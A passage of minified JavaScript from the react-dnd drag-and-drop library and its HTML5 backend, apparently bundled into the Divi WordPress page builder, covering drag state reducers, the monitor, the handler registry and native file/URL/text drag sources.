s.END_DRAG:return o({},e,{itemType:null,item:null,sourceId:null,dropResult:null,didDrop:!1,isSourcePublic:null,targetIds:[]});default:return e}};var r,i=n(464),a=(r=i)&&r.__esModule?r:{default:r},s=n(1283),l=n(1284);var u={itemType:null,item:null,sourceId:null,targetIds:[],dropResult:null,didDrop:!1,isSourcePublic:null}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;switch(arguments[1].type){case o.ADD_SOURCE:case o.ADD_TARGET:return e+1;case o.REMOVE_SOURCE:case o.REMOVE_TARGET:return e-1;default:return e}};var o=n(1284)},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){return(arguments.length>0&&void 0!==arguments[0]?arguments[0]:0)+1}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}(),r=c(n(1277)),i=c(n(17)),a=c(n(1304)),s=c(n(1344)),l=n(1303),u=n(1305);function c(e){return e&&e.__esModule?e:{default:e}}var d=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.store=t,this.registry=new s.default(t)}return o(e,[{key:"subscribeToStateChange",value:function(e){var t=this,n=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:{}).handlerIds;(0,r.default)("function"==typeof e,"listener must be a function."),(0,r.default)(void 0===n||(0,i.default)(n),"handlerIds, when specified, must be an array of strings.");var o=this.store.getState().stateId;return this.store.subscribe(function(){var r=t.store.getState(),i=r.stateId;try{i===o||i===o+1&&!(0,u.areDirty)(r.dirtyHandlerIds,n)||e()}finally{o=i}})}},{key:"subscribeToOffsetChange",value:function(e){var t=this;(0,r.default)("function"==typeof e,"listener must be a function.");var n=this.store.getState().dragOffset;return this.store.subscribe(function(){var o=t.store.getState().dragOffset;o!==n&&(n=o,e())})}},{key:"canDragSource",value:function(e){var t=this.registry.getSource(e);return(0,r.default)(t,"Expected to find a valid source."),!this.isDragging()&&t.canDrag(this,e)}},{key:"canDropOnTarget",value:function(e){var t=this.registry.getTarget(e);if((0,r.default)(t,"Expected to find a valid target."),!this.isDragging()||this.didDrop())return!1;var n=this.registry.getTargetType(e),o=this.getItemType();return(0,a.default)(n,o)&&t.canDrop(this,e)}},{key:"isDragging",value:function(){return Boolean(this.getItemType())}},{key:"isDraggingSource",value:function(e){var t=this.registry.getSource(e,!0);return(0,r.default)(t,"Expected to find a valid source."),!(!this.isDragging()||!this.isSourcePublic())&&(this.registry.getSourceType(e)===this.getItemType()&&t.isDragging(this,e))}},{key:"isOverTarget",value:function(e){var t=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:{shallow:!1}).shallow;if(!this.isDragging())return!1;var n=this.registry.getTargetType(e),o=this.getItemType();if(!(0,a.default)(n,o))return!1;var r=this.getTargetIds();if(!r.length)return!1;var i=r.indexOf(e);return t?i===r.length-1:i>-1}},{key:"getItemType",value:function(){return this.store.getState().dragOperation.itemType}},{key:"getItem",value:function(){return this.store.getState().dragOperation.item}},{key:"getSourceId",value:function(){return this.store.getState().dragOperation.sourceId}},{key:"getTargetIds",value:function(){return this.store.getState().dragOperation.targetIds}},{key:"getDropResult",value:function(){return this.store.getState().dragOperation.dropResult}},{key:"didDrop",value:function(){return this.store.getState().dragOperation.didDrop}},{key:"isSourcePublic",value:function(){return this.store.getState().dragOperation.isSourcePublic}},{key:"getInitialClientOffset",value:function(){return this.store.getState().dragOffset.initialClientOffset}},{key:"getInitialSourceClientOffset",value:function(){return this.store.getState().dragOffset.initialSourceClientOffset}},{key:"getClientOffset",value:function(){return this.store.getState().dragOffset.clientOffset}},{key:"getSourceClientOffset",value:function(){return(0,l.getSourceClientOffset)(this.store.getState().dragOffset)}},{key:"getDifferenceFromInitialOffset",value:function(){return(0,l.getDifferenceFromInitialOffset)(this.store.getState().dragOffset)}}]),e}();t.default=d},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}(),r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=c(n(1277)),a=c(n(17)),s=c(n(1345)),l=n(1284),u=c(n(1347));function c(e){return e&&e.__esModule?e:{default:e}}var d={SOURCE:"SOURCE",TARGET:"TARGET"};function p(e,t){t&&(0,a.default)(e)?e.forEach(function(e){return p(e,!1)}):(0,i.default)("string"==typeof e||"symbol"===(void 0===e?"undefined":r(e)),t?"Type can only be a string, a symbol, or an array of either.":"Type can only be a string or a symbol.")}function f(e){switch(e[0]){case"S":return d.SOURCE;case"T":return d.TARGET;default:(0,i.default)(!1,"Cannot parse handler ID: "+e)}}var h=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.store=t,this.types={},this.handlers={},this.pinnedSourceId=null,this.pinnedSource=null}return o(e,[{key:"addSource",value:function(e,t){p(e),function(e){(0,i.default)("function"==typeof e.canDrag,"Expected canDrag to be a function."),(0,i.default)("function"==typeof e.beginDrag,"Expected beginDrag to be a function."),(0,i.default)("function"==typeof e.endDrag,"Expected endDrag to be a function.")}(t);var n=this.addHandler(d.SOURCE,e,t);return this.store.dispatch((0,l.addSource)(n)),n}},{key:"addTarget",value:function(e,t){p(e,!0),function(e){(0,i.default)("function"==typeof e.canDrop,"Expected canDrop to be a function."),(0,i.default)("function"==typeof e.hover,"Expected hover to be a function."),(0,i.default)("function"==typeof e.drop,"Expected beginDrag to be a function.")}(t);var n=this.addHandler(d.TARGET,e,t);return this.store.dispatch((0,l.addTarget)(n)),n}},{key:"addHandler",value:function(e,t,n){var o=function(e){var t=(0,u.default)().toString();switch(e){case d.SOURCE:return"S"+t;case d.TARGET:return"T"+t;default:(0,i.default)(!1,"Unknown role: "+e)}}(e);return this.types[o]=t,this.handlers[o]=n,o}},{key:"containsHandler",value:function(e){var t=this;return Object.keys(this.handlers).some(function(n){return t.handlers[n]===e})}},{key:"getSource",value:function(e,t){return(0,i.default)(this.isSourceId(e),"Expected a valid source ID."),t&&e===this.pinnedSourceId?this.pinnedSource:this.handlers[e]}},{key:"getTarget",value:function(e){return(0,i.default)(this.isTargetId(e),"Expected a valid target ID."),this.handlers[e]}},{key:"getSourceType",value:function(e){return(0,i.default)(this.isSourceId(e),"Expected a valid source ID."),this.types[e]}},{key:"getTargetType",value:function(e){return(0,i.default)(this.isTargetId(e),"Expected a valid target ID."),this.types[e]}},{key:"isSourceId",value:function(e){return f(e)===d.SOURCE}},{key:"isTargetId",value:function(e){return f(e)===d.TARGET}},{key:"removeSource",value:function(e){var t=this;(0,i.default)(this.getSource(e),"Expected an existing source."),this.store.dispatch((0,l.removeSource)(e)),(0,s.default)(function(){delete t.handlers[e],delete t.types[e]})}},{key:"removeTarget",value:function(e){var t=this;(0,i.default)(this.getTarget(e),"Expected an existing target."),this.store.dispatch((0,l.removeTarget)(e)),(0,s.default)(function(){delete t.handlers[e],delete t.types[e]})}},{key:"pinSource",value:function(e){var t=this.getSource(e);(0,i.default)(t,"Expected an existing source."),this.pinnedSourceId=e,this.pinnedSource=t}},{key:"unpinSource",value:function(){(0,i.default)(this.pinnedSource,"No source is pinned at the time."),this.pinnedSourceId=null,this.pinnedSource=null}}]),e}();t.default=h},function(e,t,n){"use strict";var o=n(1346),r=[],i=[],a=o.makeRequestCallFromTimer(function(){if(i.length)throw i.shift()});function s(e){var t;(t=r.length?r.pop():new l).task=e,o(t)}function l(){this.task=null}e.exports=s,l.prototype.call=function(){try{this.task.call()}catch(e){s.onerror?s.onerror(e):(i.push(e),a())}finally{this.task=null,r[r.length]=this}}},function(e,t,n){"use strict";(function(t){function n(e){r.length||(o(),!0),r[r.length]=e}e.exports=n;var o,r=[],i=0,a=1024;function s(){for(;i<r.length;){var e=i;if(i+=1,r[e].call(),i>a){for(var t=0,n=r.length-i;t<n;t++)r[t]=r[t+i];r.length-=i,i=0}}r.length=0,i=0,!1}var l,u,c,d=void 0!==t?t:self,p=d.MutationObserver||d.WebKitMutationObserver;function f(e){return function(){var t=setTimeout(o,0),n=setInterval(o,50);function o(){clearTimeout(t),clearInterval(n),e()}}}"function"==typeof p?(l=1,u=new p(s),c=document.createTextNode(""),u.observe(c,{characterData:!0}),o=function(){l=-l,c.data=l}):o=f(s),n.requestFlush=o,n.makeRequestCallFromTimer=f}).call(this,n(201))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){return o++};var o=0},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var r=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e)}return o(e,[{key:"canDrag",value:function(){return!0}},{key:"isDragging",value:function(e,t){return t===e.getSourceId()}},{key:"endDrag",value:function(){}}]),e}();t.default=r},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var r=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e)}return o(e,[{key:"canDrop",value:function(){return!0}},{key:"hover",value:function(){}},{key:"drop",value:function(){}}]),e}();t.default=r},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();t.default=function(e){return new s(e)};var r,i=n(46),a=(r=i)&&r.__esModule?r:{default:r};var s=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.actions=t.getActions()}return o(e,[{key:"setup",value:function(){this.didCallSetup=!0}},{key:"teardown",value:function(){this.didCallTeardown=!0}},{key:"connectDragSource",value:function(){return a.default}},{key:"connectDragPreview",value:function(){return a.default}},{key:"connectDropTarget",value:function(){return a.default}},{key:"simulateBeginDrag",value:function(e,t){this.actions.beginDrag(e,t)}},{key:"simulatePublishDragSource",value:function(){this.actions.publishDragSource()}},{key:"simulateHover",value:function(e,t){this.actions.hover(e,t)}},{key:"simulateDrop",value:function(){this.actions.drop()}},{key:"simulateEndDrag",value:function(){this.actions.endDrag()}}]),e}()},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getEmptyImage=t.NativeTypes=void 0,t.default=function(e){return new o.default(e)};var o=a(n(1352)),r=a(n(1358)),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}(n(1291));function a(e){return e&&e.__esModule?e:{default:e}}t.NativeTypes=i,t.getEmptyImage=r.default},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}(),r=d(n(287)),i=d(n(1353)),a=d(n(1354)),s=n(1306),l=n(1355),u=n(1357),c=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}(n(1291));function d(e){return e&&e.__esModule?e:{default:e}}function p(){var e=ET_Builder.Frames.top.document.querySelectorAll(".media-modal.wp-core-ui"),t=e.length?e[e.length-1]:null;return null!==t&&"object"==typeof t&&"none"!==t.parentElement.style.display}var f=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.actions=t.getActions(),this.monitor=t.getMonitor(),this.registry=t.getRegistry(),this.context=t.getContext(),this.sourcePreviewNodes={},this.sourcePreviewNodeOptions={},this.sourceNodes={},this.sourceNodeOptions={},this.enterLeaveCounter=new a.default,this.getSourceClientOffset=this.getSourceClientOffset.bind(this),this.handleTopDragStart=this.handleTopDragStart.bind(this),this.handleTopDragStartCapture=this.handleTopDragStartCapture.bind(this),this.handleTopDragEndCapture=this.handleTopDragEndCapture.bind(this),this.handleTopDragEnter=this.handleTopDragEnter.bind(this),this.handleTopDragEnterCapture=this.handleTopDragEnterCapture.bind(this),this.handleTopDragLeaveCapture=this.handleTopDragLeaveCapture.bind(this),this.handleTopDragOver=this.handleTopDragOver.bind(this),this.handleTopDragOverCapture=this.handleTopDragOverCapture.bind(this),this.handleTopDrop=this.handleTopDrop.bind(this),this.handleTopDropCapture=this.handleTopDropCapture.bind(this),this.handleSelectStart=this.handleSelectStart.bind(this),this.endDragIfSourceWasRemovedFromDOM=this.endDragIfSourceWasRemovedFromDOM.bind(this),this.endDragNativeItem=this.endDragNativeItem.bind(this)}return o(e,[{key:"setup",value:function(){if(void 0!==this.window){if(this.window.__isReactDndBackendSetUp)throw new Error("Cannot have two HTML5 backends at the same time.");this.window.__isReactDndBackendSetUp=!0,this.addEventListeners(this.window)}}},{key:"teardown",value:function(){void 0!==this.window&&(this.window.__isReactDndBackendSetUp=!1,this.removeEventListeners(this.window),this.clearCurrentDragSourceNode())}},{key:"addEventListeners",value:function(e){e.addEventListener("dragstart",this.handleTopDragStart),e.addEventListener("dragstart",this.handleTopDragStartCapture,!0),e.addEventListener("dragend",this.handleTopDragEndCapture,!0),e.addEventListener("dragenter",this.handleTopDragEnter),e.addEventListener("dragenter",this.handleTopDragEnterCapture,!0),e.addEventListener("dragleave",this.handleTopDragLeaveCapture,!0),e.addEventListener("dragover",this.handleTopDragOver),e.addEventListener("dragover",this.handleTopDragOverCapture,!0),e.addEventListener("drop",this.handleTopDrop),e.addEventListener("drop",this.handleTopDropCapture,!0)}},{key:"removeEventListeners",value:function(e){e.removeEventListener("dragstart",this.handleTopDragStart),e.removeEventListener("dragstart",this.handleTopDragStartCapture,!0),e.removeEventListener("dragend",this.handleTopDragEndCapture,!0),e.removeEventListener("dragenter",this.handleTopDragEnter),e.removeEventListener("dragenter",this.handleTopDragEnterCapture,!0),e.removeEventListener("dragleave",this.handleTopDragLeaveCapture,!0),e.removeEventListener("dragover",this.handleTopDragOver),e.removeEventListener("dragover",this.handleTopDragOverCapture,!0),e.removeEventListener("drop",this.handleTopDrop),e.removeEventListener("drop",this.handleTopDropCapture,!0)}},{key:"connectDragPreview",value:function(e,t,n){var o=this;return this.sourcePreviewNodeOptions[e]=n,this.sourcePreviewNodes[e]=t,function(){delete o.sourcePreviewNodes[e],delete o.sourcePreviewNodeOptions[e]}}},{key:"connectDragSource",value:function(e,t,n){var o=this;this.sourceNodes[e]=t,this.sourceNodeOptions[e]=n;var r=function(t){return o.handleDragStart(t,e)},i=function(t){return o.handleSelectStart(t,e)};return t.setAttribute("draggable",!0),t.addEventListener("dragstart",r),t.addEventListener("selectstart",i),function(){delete o.sourceNodes[e],delete o.sourceNodeOptions[e],t.removeEventListener("dragstart",r),t.removeEventListener("selectstart",i),t.setAttribute("draggable",!1)}}},{key:"connectDropTarget",value:function(e,t){var n=this,o=function(t){return n.handleDragEnter(t,e)},r=function(t){return n.handleDragOver(t,e)},i=function(t){return n.handleDrop(t,e)};return t.addEventListener("dragenter",o),t.addEventListener("dragover",r),t.addEventListener("drop",i),function(){t.removeEventListener("dragenter",o),t.removeEventListener("dragover",r),t.removeEventListener("drop",i)}}},{key:"getCurrentSourceNodeOptions",value:function(){var e=this.monitor.getSourceId(),t=this.sourceNodeOptions[e];return(0,r.default)(t||{},{dropEffect:"move"})}},{key:"getCurrentDropEffect",value:function(){return this.isDraggingNativeItem()?"copy":this.getCurrentSourceNodeOptions().dropEffect}},{key:"getCurrentSourcePreviewNodeOptions",value:function(){var e=this.monitor.getSourceId(),t=this.sourcePreviewNodeOptions[e];return(0,r.default)(t||{},{anchorX:.5,anchorY:.5,captureDraggingState:!1})}},{key:"getSourceClientOffset",value:function(e){return(0,l.getNodeClientOffset)(this.sourceNodes[e])}},{key:"isDraggingNativeItem",value:function(){var e=this.monitor.getItemType();return Object.keys(c).some(function(t){return c[t]===e})}},{key:"beginDragNativeItem",value:function(e){this.clearCurrentDragSourceNode();var t=(0,u.createNativeDragSource)(e);this.currentNativeSource=new t,this.currentNativeHandle=this.registry.addSource(e,this.currentNativeSource),this.actions.beginDrag([this.currentNativeHandle]),(0,s.isFirefox)()&&this.window.addEventListener("mousemove",this.endDragNativeItem,!0)}},{key:"endDragNativeItem",value:function(){this.isDraggingNativeItem()&&((0,s.isFirefox)()&&this.window.removeEventListener("mousemove",this.endDragNativeItem,!0),this.actions.endDrag(),this.registry.removeSource(this.currentNativeHandle),this.currentNativeHandle=null,this.currentNativeSource=null)}},{key:"endDragIfSourceWasRemovedFromDOM",value:function(){var e=this.currentDragSourceNode;ET_Builder.Frames.top.document.body.contains(e)||this.clearCurrentDragSourceNode()&&this.actions.endDrag()}},{key:"setCurrentDragSourceNode",value:function(e){this.clearCurrentDragSourceNode(),this.currentDragSourceNode=e,this.currentDragSourceNodeOffset=(0,l.getNodeClientOffset)(e),this.currentDragSourceNodeOffsetChanged=!1,this.window.addEventListener("mousemove",this.endDragIfSourceWasRemovedFromDOM,!0)}},{key:"clearCurrentDragSourceNode",value:function(){return!!this.currentDragSourceNode&&(this.currentDragSourceNode=null,this.currentDragSourceNodeOffset=null,this.currentDragSourceNodeOffsetChanged=!1,this.window.removeEventListener("mousemove",this.endDragIfSourceWasRemovedFromDOM,!0),!0)}},{key:"checkIfCurrentDragSourceRectChanged",value:function(){var e=this.currentDragSourceNode;return!!e&&(!!this.currentDragSourceNodeOffsetChanged||(this.currentDragSourceNodeOffsetChanged=!(0,i.default)((0,l.getNodeClientOffset)(e),this.currentDragSourceNodeOffset),this.currentDragSourceNodeOffsetChanged))}},{key:"handleTopDragStartCapture",value:function(){this.clearCurrentDragSourceNode(),this.dragStartSourceIds=[]}},{key:"handleDragStart",value:function(e,t){this.dragStartSourceIds.unshift(t)}},{key:"handleTopDragStart",value:function(e){var t=this,n=this.dragStartSourceIds;this.dragStartSourceIds=null;var o=(0,l.getEventClientOffset)(e);this.actions.beginDrag(n,{publishSource:!1,getSourceClientOffset:this.getSourceClientOffset,clientOffset:o});var r=e.dataTransfer,i=(0,u.matchNativeItemType)(r);if(this.monitor.isDragging()){if("function"==typeof r.setDragImage){var a=this.monitor.getSourceId(),s=this.sourceNodes[a],c=this.sourcePreviewNodes[a]||s,d=this.getCurrentSourcePreviewNodeOptions(),p={anchorX:d.anchorX,anchorY:d.anchorY},f=(0,l.getDragPreviewOffset)(s,c,o,p);r.setDragImage(c,f.x,f.y)}try{r.setData("application/json",{})}catch(e){}this.setCurrentDragSourceNode(e.target),this.getCurrentSourcePreviewNodeOptions().captureDraggingState?this.actions.publishDragSource():setTimeout(function(){return t.actions.publishDragSource()})}else if(i)this.beginDragNativeItem(i);else{if(!(r.types||e.target.hasAttribute&&e.target.hasAttribute("draggable")))return;e.preventDefault()}}},{key:"handleTopDragEndCapture",value:function(){this.clearCurrentDragSourceNode()&&this.actions.endDrag()}},{key:"handleTopDragEnterCapture",value:function(e){if(this.dragEnterTargetIds=[],this.enterLeaveCounter.enter(e.target)&&!this.monitor.isDragging()){var t=e.dataTransfer,n=(0,u.matchNativeItemType)(t);n&&this.beginDragNativeItem(n)}}},{key:"handleDragEnter",value:function(e,t){this.dragEnterTargetIds.unshift(t)}},{key:"handleTopDragEnter",value:function(e){var t=this,n=this.dragEnterTargetIds;(this.dragEnterTargetIds=[],this.monitor.isDragging())&&((0,s.isFirefox)()||this.actions.hover(n,{clientOffset:(0,l.getEventClientOffset)(e)}),n.some(function(e){return t.monitor.canDropOnTarget(e)})&&(e.preventDefault(),e.dataTransfer.dropEffect=this.getCurrentDropEffect()))}},{key:"handleTopDragOverCapture",value:function(){this.dragOverTargetIds=[]}},{key:"handleDragOver",value:function(e,t){this.dragOverTargetIds.unshift(t)}},{key:"handleTopDragOver",value:function(e){if(!p()){var t=this,n=this.dragOverTargetIds;if(this.dragOverTargetIds=[],!this.monitor.isDragging())return e.preventDefault(),void(e.dataTransfer.dropEffect="none");this.actions.hover(n,{clientOffset:(0,l.getEventClientOffset)(e)}),n.some(function(e){return t.monitor.canDropOnTarget(e)})?(e.preventDefault(),e.dataTransfer.dropEffect=this.getCurrentDropEffect()):this.isDraggingNativeItem()?(e.preventDefault(),e.dataTransfer.dropEffect="none"):this.checkIfCurrentDragSourceRectChanged()&&(e.preventDefault(),e.dataTransfer.dropEffect="move")}}},{key:"handleTopDragLeaveCapture",value:function(e){this.isDraggingNativeItem()&&e.preventDefault(),this.enterLeaveCounter.leave(e.target)&&this.isDraggingNativeItem()&&this.endDragNativeItem()}},{key:"handleTopDropCapture",value:function(e){this.dropTargetIds=[],e.preventDefault(),this.isDraggingNativeItem()&&this.currentNativeSource.mutateItemByReadingDataTransfer(e.dataTransfer),this.enterLeaveCounter.reset()}},{key:"handleDrop",value:function(e,t){this.dropTargetIds.unshift(t)}},{key:"handleTopDrop",value:function(e){if(!p()){var t=this.dropTargetIds;this.dropTargetIds=[],this.actions.hover(t,{clientOffset:(0,l.getEventClientOffset)(e)}),this.actions.drop(),this.isDraggingNativeItem()?this.endDragNativeItem():this.endDragIfSourceWasRemovedFromDOM()}}},{key:"handleSelectStart",value:function(e){var t=e.target;"function"==typeof t.dragDrop&&("INPUT"===t.tagName||"SELECT"===t.tagName||"TEXTAREA"===t.tagName||t.isContentEditable||(e.preventDefault(),t.dragDrop()))}},{key:"window",get:function(){return this.context&&this.context.window||window}}]),e}();t.default=f},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if(e===t)return!0;var n=Object.keys(e),o=Object.keys(t);if(n.length!==o.length)return!1;for(var r=Object.prototype.hasOwnProperty,i=0;i<n.length;i+=1){if(!r.call(t,n[i])||e[n[i]]!==t[n[i]])return!1;var a=e[n[i]],s=t[n[i]];if(a!==s)return!1}return!0}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}(),r=a(n(68)),i=a(n(464));function a(e){return e&&e.__esModule?e:{default:e}}var s=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.entered=[]}return o(e,[{key:"enter",value:function(e){var t=this.entered.length;return this.entered=(0,r.default)(this.entered.filter(function(t){return document.documentElement.contains(t)&&(!t.contains||t.contains(e))}),[e]),0===t&&this.entered.length>0}},{key:"leave",value:function(e){var t=this.entered.length;return this.entered=(0,i.default)(this.entered.filter(function(e){return document.documentElement.contains(e)}),e),t>0&&0===this.entered.length}},{key:"reset",value:function(){this.entered=[]}}]),e}();t.default=s},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getNodeClientOffset=l,t.getEventClientOffset=function(e){return{x:e.clientX,y:e.clientY}},t.getDragPreviewOffset=function(e,t,n,o){var i="IMG"===t.nodeName&&((0,r.isFirefox)()||!document.documentElement.contains(t)),s=l(i?e:t),u={x:n.x-s.x,y:n.y-s.y},c=e.offsetWidth,d=e.offsetHeight,p=o.anchorX,f=o.anchorY,h=i?t.width:c,m=i?t.height:d;(0,r.isSafari)()&&i&&(m/=window.devicePixelRatio,h/=window.devicePixelRatio);var g=new a.default([0,.5,1],[u.x,u.x/c*h,u.x+h-c]),v=new a.default([0,.5,1],[u.y,u.y/d*m,u.y+m-d]),b=g.interpolate(p),y=v.interpolate(f);(0,r.isSafari)()&&i&&(y+=(window.devicePixelRatio-1)*m);return{x:b,y:y}};var o,r=n(1306),i=n(1356),a=(o=i)&&o.__esModule?o:{default:o};var s=1;function l(e){var t=e.nodeType===s?e:e.parentElement;if(!t)return null;var n=t.getBoundingClientRect(),o=n.top;return{x:n.left,y:o}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var r=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e);for(var o=t.length,r=[],i=0;i<o;i++)r.push(i);r.sort(function(e,n){return t[e]<t[n]?-1:1});for(var a=[],s=[],l=[],u=void 0,c=void 0,d=0;d<o-1;d++)u=t[d+1]-t[d],c=n[d+1]-n[d],s.push(u),a.push(c),l.push(c/u);for(var p=[l[0]],f=0;f<s.length-1;f++){var h=l[f],m=l[f+1];if(h*m<=0)p.push(0);else{u=s[f];var g=s[f+1],v=u+g;p.push(3*v/((v+g)/h+(v+u)/m))}}p.push(l[l.length-1]);for(var b=[],y=[],_=void 0,k=0;k<p.length-1;k++){_=l[k];var w=p[k],C=1/s[k],E=w+p[k+1]-_-_;b.push((_-w-E)*C),y.push(E*C*C)}this.xs=t,this.ys=n,this.c1s=p,this.c2s=b,this.c3s=y}return o(e,[{key:"interpolate",value:function(e){var t=this.xs,n=this.ys,o=this.c1s,r=this.c2s,i=this.c3s,a=t.length-1;if(e===t[a])return n[a];for(var s=0,l=i.length-1,u=void 0;s<=l;){var c=t[u=Math.floor(.5*(s+l))];if(c<e)s=u+1;else{if(!(c>e))return n[u];l=u-1}}var d=e-t[a=Math.max(0,l)],p=d*d;return n[a]+o[a]*d+r[a]*p+i[a]*d*p}}]),e}();t.default=r},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o,r=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();t.createNativeDragSource=function(e){var t=l[e],n=t.exposeProperty,o=t.matchesTypes,i=t.getData;return function(){function e(){var t,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.item=(t={},(o={})[n]=o[n]||{},o[n].get=function(){return console.warn("Browser doesn't allow reading \""+n+'" until the drop event.'),null},function(e,t){for(var n in t){var o=t[n];o.configurable=o.enumerable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,n,o)}}(t,o),t)}return r(e,[{key:"mutateItemByReadingDataTransfer",value:function(e){delete this.item[n],this.item[n]=i(e,o)}},{key:"canDrag",value:function(){return!0}},{key:"beginDrag",value:function(){return this.item}},{key:"isDragging",value:function(e,t){return t===e.getSourceId()}},{key:"endDrag",value:function(){}}]),e}()},t.matchNativeItemType=function(e){var t=Array.prototype.slice.call(e.types||[]);return Object.keys(l).filter(function(e){var n=l[e].matchesTypes;return n.some(function(e){return t.indexOf(e)>-1})})[0]||null};var i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}(n(1291));function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function s(e,t,n){var o=t.reduce(function(t,n){return t||e.getData(n)},null);return null!=o?o:n}var l=(a(o={},i.FILE,{exposeProperty:"files",matchesTypes:["Files"],getData:function(e){return Array.prototype.slice.call(e.files)}}),a(o,i.URL,{exposeProperty:"urls",matchesTypes:["Url","text/uri-list"],getData:function(e,t){return s(e,t,"").split("\n")}}),a(o,i.TEXT,{exposeProperty:"text",matchesTypes:["Text","text/plain"],getData:function(e,t){return s(e,t,"")}}),o)},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){o||((o=new Image).src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==");return o};var o=void 0},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(2),l=n.n(s),u=n(9),c=n(51),d=n(40),p=n(12),f=n(62),h=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function m(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var 